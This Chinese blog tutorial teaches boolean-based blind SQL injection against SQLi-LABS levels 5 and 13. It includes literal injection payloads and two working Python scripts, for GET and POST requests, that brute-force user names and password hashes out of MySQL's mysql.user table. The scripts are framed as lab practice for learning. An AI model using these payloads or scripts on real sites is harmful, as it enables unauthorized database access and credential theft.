「作者主页」：士别三日wyx
「作者简介」：CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「专栏简介」：此文章已录入专栏《网络安全快速入门》

一、适用环境

页面只有登录成功和登录失败这两种情况时，可以使用布尔盲注。

二、盲注步骤

布尔盲注使用时分为两个步骤：

1. 使用 length()函数 判断查询结果的长度
2. 使用 substr()函数 截取每一个字符，并穷举出字符内容

三、原理分析

接下来，我们以测试网站（SQLi LABS 第5关）为例，解释一下这两个步骤的详细使用方式和注入的原理。

1. 长度判断原理

首先，利用MySQL的 length()函数 判断返回结果的长度是多少。

比如，我们判断 database()当前数据库 的长度，在地址栏输入：

?id=1' and length( database() )=1 -- a

执行流程如下：

页面异常（空）显示，表示猜解长度有误；

页面正常显示，表示猜解长度正确；

依次猜测1，2，3……n，直至长度猜解正确（页面正常显示）。

如上，测试长度1~7一直异常（空）显示，测试长度8时变为正常显示，就意味着查询结果的长度是8.

2. 穷举字符原理

查询结果由一个个字符组成，每一个字符有95种可能性（大小写字母、数字、特殊符号），对应的ASCLL编码是32~126。

推荐文章：ASCLL编码详解，ASCLL编码对照表

使用MySQL的 substr()函数 截取查询结果的第一个字符，使用 ascii()函数 将截取的字符转换成 ASCLL编码，依次判断是否等于32,33,34……126。

页面异常（空）显示，表示猜解失误；

页面正常显示，表示猜解正确；

猜解流程如下：

ASCLL编码 115 对应的字符是 ‘s’，确定第一个字符是：s

上一步已经确定了长度是 8，依次截取第 1~8个字符，并依次判断每个字符的内容。

四、步骤总结

适用情况：页面没有显示位，没有报错信息，只有成功和不成功两种情况。

1. 判断注入点

同时满足以下两种情况：

?id=1' and 1 -- a	正常显示
?id=1' and 0 -- a	异常(空)显示

2. 判断长度

?id=1' and length( 查询语句 )=1 -- a	

3. 枚举字符

?id=1 and ascii(substr( 查询语句 ,1,1))=32 -- a

五、盲注脚本

手工盲注的时间复杂度非常大，通常会使用脚本盲注。

get请求盲注脚本：

import requests# 只需要修改url 和 两个payload即可
# 目标网址（不带参数）
url = "http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length((select group_concat(user,password)from mysql.user)) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(substr((select group_concat(user,password)from mysql.user),{n},1)) = {r} -- a"""# 获取长度
def getLength(url, payload):length = 1  # 初始测试长度为1while True:response = requests.get(url= url+payload_len.format(n= length))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:print('测试长度完成，长度为：', length,)return length;else:print('正在测试长度：',length)length += 1  # 测试长度递增# 获取字符
def getStr(url, payload, length):str = ''  # 初始表名/库名为空# 第一层循环，截取每一个字符for l in range(1, length+1):# 第二层循环，枚举截取字符的每一种可能性for n in range(33, 126):response = requests.get(url= url+payload_str.format(n= l, r= n))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:str+= chr(n)print('第', l, '个字符猜解成功：', str)break;return str;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

post请求盲注脚本：

import requests# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length((select group_concat(user,password) from mysql.user))>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(substr((select group_concat(user,password)from mysql.user),{l},1))={n} -- a"""# post请求参数
data= {"uname" : "a') or 1 -- a","passwd" : "1","submit" : "Submit"
}# 判断长度
def getLen(payload_len):length = 1while True:# 修改请求参数data["uname"] = payload_len.format(n = length)response = requests.post(url=url, data=data)# 出现此内容为登录成功if '../images/flag.jpg' in response.text:print('正在测试长度：', length)length += 1else:print('测试成功，长度为：', length)return length;# 枚举字符
def getStr(length):str = ''# 从第一个字符开始截取for l in range(1, length+1):# 枚举字符的每一种可能性for n in range(32, 126):data["uname"] = payload_str.format(l=l, n=n)response = requests.post(url=url, data=data)if '../images/flag.jpg' in response.text:str += chr(n)print('第', l, '个字符枚举成功：',str )breaklength = getLen(payload_len)
getStr(length)

感谢你的点赞、收藏、评论，我是三日，祝你幸福。